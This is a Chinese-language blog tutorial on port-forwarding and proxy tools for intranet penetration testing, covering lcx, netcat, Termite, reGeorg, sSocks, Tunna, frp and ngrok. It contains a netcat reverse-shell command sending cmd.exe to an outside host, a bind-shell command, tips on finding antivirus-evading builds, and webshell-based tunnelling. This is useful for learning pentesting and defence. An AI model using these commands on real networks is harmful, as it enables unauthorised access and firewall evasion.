5、內網滲透之埠轉發與代理工具總結

FLy_鵬程萬里發表於2018-06-10

理論上,任何接入網際網路的計算機都是可訪問的,但是如果目標主機處於內網,而我們又想和該目標主機進行通訊的話,就需要藉助一些埠轉發工具來達到我們的目的

注:文中提到的所有工具下載地址 https://github.com/Brucetg/Pentest-tools

一、LCX

lcx.exe是一個埠轉發工具,有Windows版和Linux版兩個版本,Windows版是lcx.exe,Linux版為portmap,

Windows版使用方法如下:


lcx有兩大功能:

1)埠轉發(listen和slave成對使用)

2)埠對映(tran)

1、lcx 內網埠轉發

1.內網主機上執行:lcx.exe –slave 公網主機ip 公網主機埠 內網主機ip 內網主機埠

例如:

lcx.exe -slave 公網主機ip 4444 127.0.0.1 3389

意思是把內網主機的 3389 埠轉發到具有公網ip主機的 4444 埠

2.公網主機 上執行 Lcx.exe –listen 公網主機埠1 公網主機埠2

例如:

lcx.exelisten 4444 5555

意思是監聽公網主機本機的 4444 埠請求,並將來自 4444 埠的請求傳送給 5555 埠。

此時,RDP 連線,Windows 命令列下輸入mstsc,即可開啟遠端桌面連線:


如果是在公網主機上操作,計算機那欄只需要輸入 127.0.0.1:5555,即可;如果是在本地主機上操作,則輸入 公網主機ip:5555 ,然後輸入使用者名稱和密碼,即可連線到內網主機。

2、本地埠轉發

由於防火牆限制,部分埠如3389無法通過防火牆,此時可以將該目標主機的3389埠透傳到防火牆允許的其他埠,如53埠,

目標主機上執行:

lcx -tran 53 目標主機ip 3389

這時我們可以直接遠端桌面連線到到 目標主機IP:53

注:軟體可能會被殺軟查殺,可自行尋找免殺版本。

Linux版使用方法:


例如:

先在具有公網ip的主機上執行:

./portmap -m 2 -p1 6666 -h2 公網主機ip -p2 7777

意思是監聽來自6666埠的請求,將其轉發到7777埠

再在內網主機上執行:

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公網主機ip -p2 6666

意思就是將內網主機22埠的流量轉發到公網主機的6666埠。

然後在Linux系統命令列下執行

ssh 公網主機ip 7777

即可連線內網主機。

二、nc 反彈

nc使用方法:


反向連線

在公網主機上進行監聽:

nc -lvp 4444

在內網主機上執行:

nc -t -e cmd.exe 公網主機ip 4444

上述命令中 -t 引數是指通過telnet模式執行cmd.exe,可省略。

成功後即可得到一個內網主機的cmd shell。

正向連線

遠端主機上執行:

nc -l -p 4444 -t -e cmd.exe

本地主機上執行:

nc -vv 遠端主機ip 4444

成功後,本地主機就獲得了遠端主機的一個cmd shell。

三、socks代理工具

1). Termite 是EW(EarthWorm)的最新版,官方連結: http://rootkiter.com/Termite/

主要特性: 多平臺支援、跳板機互聯、正反向級聯、小巧無依賴、內建Shell令主機管理更方便

使用方法,以Windows平臺為例:

管理端:


客戶端:


客戶端執行:

agent_windows_x86.exe -l  4444

管理端執行:

admin_windows_x86.exe -c 127.0.0.1 -p 4444

將新的agent加入拓撲:

agent_windows_x86.exe -c 127.0.0.1 -p 4444

具體使用方法可參考: http://rootkiter.com/Termite/README.txt

Usage

1.以服務模式啟動一個agent服務。

$ ./agent -l 8888

2.令管理端連線到agent並對agent進行管理。

$ ./admin -c 127.0.0.1 -p 8888

3.此時,admin端會得到一個內建的shell, 輸入help指令可以得到幫助資訊。

help

4.通過show指令可以得到當前agent的拓撲情況。

show 0M +– 1M 由於當前拓撲中只有一個agent,所以展示結果只有 1M , 其中1 為節點的ID號, M為MacOS系統的簡寫,Linux為L,Windows簡寫為W。

5.將新agent加入當前拓撲

./agent -c 127.0.0.1 -p 8888

6.此時show指令將得到如下效果 0M +– 1M | +– 2M 這表明,當前拓撲中有兩個節點,其中由於2節點需要通過1節點才能訪問,所以下掛在1節點下方。

7.在2節點開啟socks代理,並繫結在本地埠

goto 2 將當前被管理節點切換為 2 號節點。socks 1080 此時,本地1080 埠會啟動個監聽服務,而服務提供者為2號節點。

8.在1號節點開啟一個shell並繫結到本地埠

goto 1shell 7777 此時,通過nc本地的 7777 埠,就可以得到一個 1 節點提供的 shell.

9.將遠端的檔案下載至本地

goto 1downfile 1.txt 2.txt 將1 節點,目錄下的 1.txt 下載至本地,並命名為2.txt

10.上傳檔案至遠端節點

goto 2upfile 2.txt 3.txt 將本地的 2.txt 上傳至 2號節點的目錄,並命名為3.txt

11.埠轉接

goto 2 lcxtran 3388 10.0.0.1 3389 以2號節點為跳板,將 10.0.0.1 的 3389 埠對映至本地的 3388 埠

視訊教程:

http://rootkiter.com/toolvideo/toolmp4/1maintalk.mp4

2). reGeorg 工具地址: https://github.com/sensepost/reGeorg

reGeorg 是 reDuh 的升級版,主要是把內網伺服器的埠通過 http/https 隧道轉發到本機,形成一個迴路。用於目標伺服器在內網或做了埠策略的情況下連線目標伺服器內部開放埠。它利用 webshell 建立一個 socks 代理進行內網穿透,伺服器必須支援 aspx、php 或 jsp 這些 web 程式中的一種。

使用方法:


3). sSocks 工具地址: http://sourceforge.net/projects/ssocks/

sSocks是一個socks代理工具套裝,可用來開啟socks代理服務,支援socks5驗證,支援IPV6和UDP,並提供反向socks代理服務,即將遠端計算機作為socks代理服務端,反彈回本地,極大方便內網的滲透測試,其最新版為0.0.14

下載解壓後,執行命令編譯。

./configure && make

(這裡我提供的壓縮包中該軟體是已經編譯好的!)

編譯完成,進入src目錄,會發現有nsocks、ssocksd、ssocks、rcsocks,其功能說明介紹如下:

程式功能:

nsocks 類似通過Socks5代理後的netcat,可用來測試socks server ssocksd 用來開啟Socks5代理服務 ssocks 本地啟用Socks5服務,並反彈到另一IP地址 rcsocks 接收反彈過來的Socks5服務,並轉向另一埠

使用示例:

公網主機上執行:

./rcsocks -l 4444 -p 5555 -vv

內網主機上執行:

./rssocks –vv –s 公網主機ip:5555

這時本地主機可以通過訪問公網主機的 4444 埠訪問內網主機。

4). proxychains 工具地址址:http://proxychains.sourceforge.net/

Ubuntu 下可直接執行以下命令安裝:

sudo apt-get update

sudo apt-get install proxychains

Proxychains 是一款 LINUX 平臺下可以實現全域性代理的軟體,效能相當穩定可靠。在使任何程式通過代理上網,允許 TCP 和 DNS 通過代理隧道,支援 HTTP、SOCKS4、SOCKS5 型別的代理伺服器,支援 proxy chain,即可配置多個代理,同一個 proxy chain 可使用不同型別的代理伺服器。

網上有很多該工具的使用介紹,請自行根據需要查詢。

5). Tunna 工具地址: https://github.com/SECFORCE/Tunna

該工具使用的先決條件:

能夠在遠端伺服器上上傳webshell

使用方法:

python proxy.py -u <remoteurl> -l <localport> [options]

options:

--help, -h 顯示此幫助資訊並退出

--url=URL, -u URL 為遠端webshel​​l的URL

--lport=LOCAL_PORT, -l LOCAL_PORT代表本地偵聽埠

--verbose, -v 詳細(輸出資料包大小)

--buffer=BUFFERSIZE, -b BUFFERSIZE* HTTP請求大小(一些網站對大小有限制)

No SOCKS Options:

如果使用SOCKS代理,選項將被忽略

--no-socks, -n 不使用 Socks 代理

--rport=REMOTE_PORT, -r    REMOTE_PORT遠端服務埠,供webshel​​l連線

--addr=REMOTE_IP, -a REMOTE_IP 遠端webshel​​l連線到的地址(預設為 127.0.0.1)

上游代理選項:

通過本地代理進行隧道連線

--up-proxy=UPPROXY, -x UPPROXY上游代理(http://proxyserver.com:3128)

--auth, -A 上游代理需要認證

高階選項:

--ping-interval=PING_DELAY, -q PING_DELAY webshprx pinging執行緒間隔(預設值為0.5)

--start-ping, -s 首先啟動ping執行緒 - 一些服務首先傳送資料(例如,SSH)

--cookie, -C 請求cookies

--authentication, -t 基本認證

使用方法示例:

內網主機為Windows:

python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v

其中:

-l 表示本地監聽的埠

-r 遠端要轉發的埠

-v 詳細模式

如果內網主機為Linux,則可以將22埠轉發出來,更詳細的使用方法請參考github上面的說明。

四、frp 內網穿透利器

frp 是一個可用於內網穿透的高效能的反向代理應用,支援 tcp, udp, http, https 協議。

工具地址: https://github.com/fatedier/frp

frp 的作用

利用處於內網或防火牆後的機器,對外網環境提供 http 或 https 服務。

對於 http, https 服務支援基於域名的虛擬主機,支援自定義域名繫結,使多個域名可以共用一個80埠。

利用處於內網或防火牆後的機器,對外網環境提供 tcp 和 udp 服務,例如在家裡通過 ssh 訪問處於公司內網環境內的主機。

在Windows平臺下該工具的檔案目錄中frpc.ini和frpc_full.ini都為客戶端配置檔案,其中frpc_full.ini包括所有配置資訊,我們可參考它來修改frpc.ini檔案作為我們的配置檔案,同理,frps.ini為伺服器端配置檔案。

frp服務端配置檔案示例:

#frps.ini    

[common]
bind_addr = 0.0.0.0
bind_port = 7000
vhost_http_port = 80
vhost_https_port = 443
dashboard_port = 7500
dashboard_user = {username}
dashboard_pwd = {password}

privilege_mode = true
privilege_token = {privilege_token}

[http]
type = http
auth_token = {auth_token}
custom_domains = {cudtom_domains}

[https]
type = https
auth_token = {auth_token}
custom_domains = {custom_domains}

實際使用時請將上述配置中的花括號處內容替換為自己的配置。比如將 {username} 替換為 admin。

啟動frp伺服器端:

frps.exe -c frps.ini

瀏覽器訪問: 127.0.0.1:7500,輸入frps.ini中配置的使用者名稱和密碼即可進入控制皮膚:

frp客戶端配置示例:

#frpc.ini

[common]
server_addr = xxx
server_port = 7000
auth_token = {auth_token}
privilege_token = {privilege_token}

[http]
type = http
local_ip = 127.0.0.1
local_port = 80

[https]
type = https
local_ip = 127.0.0.1
local_port = 443

[ssh]
type = tcp
local_port = 22
remote_port = 5555

注意frp客戶端和服務端的 auth_token 和 privilege_token 等要保持一致。

啟動frp客戶端:

frpc.exe -c frpc.ini

更多使用方法詳見 https://github.com/fatedier/frp/blob/master/README_zh.md

五、ngrok 內網穿透

工具地址: https://ngrok.com/download

ngrok支援Windows、Linux、Mac OS X等多個平臺,可自行選擇需要的版本來下載使用

分為免費版本和收費版本:

使用方法:

這裡僅簡單演示下Windows平臺上的使用:

首先在內網主機上執行(內網主機需安裝Python):

python -m SimpleHTTPServer 8089

我這裡在Windows下用Python 2.7來演示,就執行:

py -2 -m SimpleHTTPServer 8089

將ngrok上傳至內網主機並啟動ngrok:

ngrok.exe http 8089

這時我們只需要在瀏覽器中訪問:

http://cdb0e21b.ngrok.io
或者

https://cdb0e21b.ngrok.io

即可通過HTTP或者HTTPS來訪問內網主機上的檔案。

當然ngrok還有很多其他功能,更多使用方法請參考官方文件: https://ngrok.com/docs

六、總結

目前內網滲透中一般都會用到埠轉發與代理,本文也只是列出了一些常見的工具,還有很多其他工具沒有涉及到,希望能給大家帶來一些幫助,有錯誤的話也歡迎指出,dalao們請輕噴2333。

參考連結:

http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html

http://wooyun.jozxing.cc/static/drops/tools-15000.html

相關文章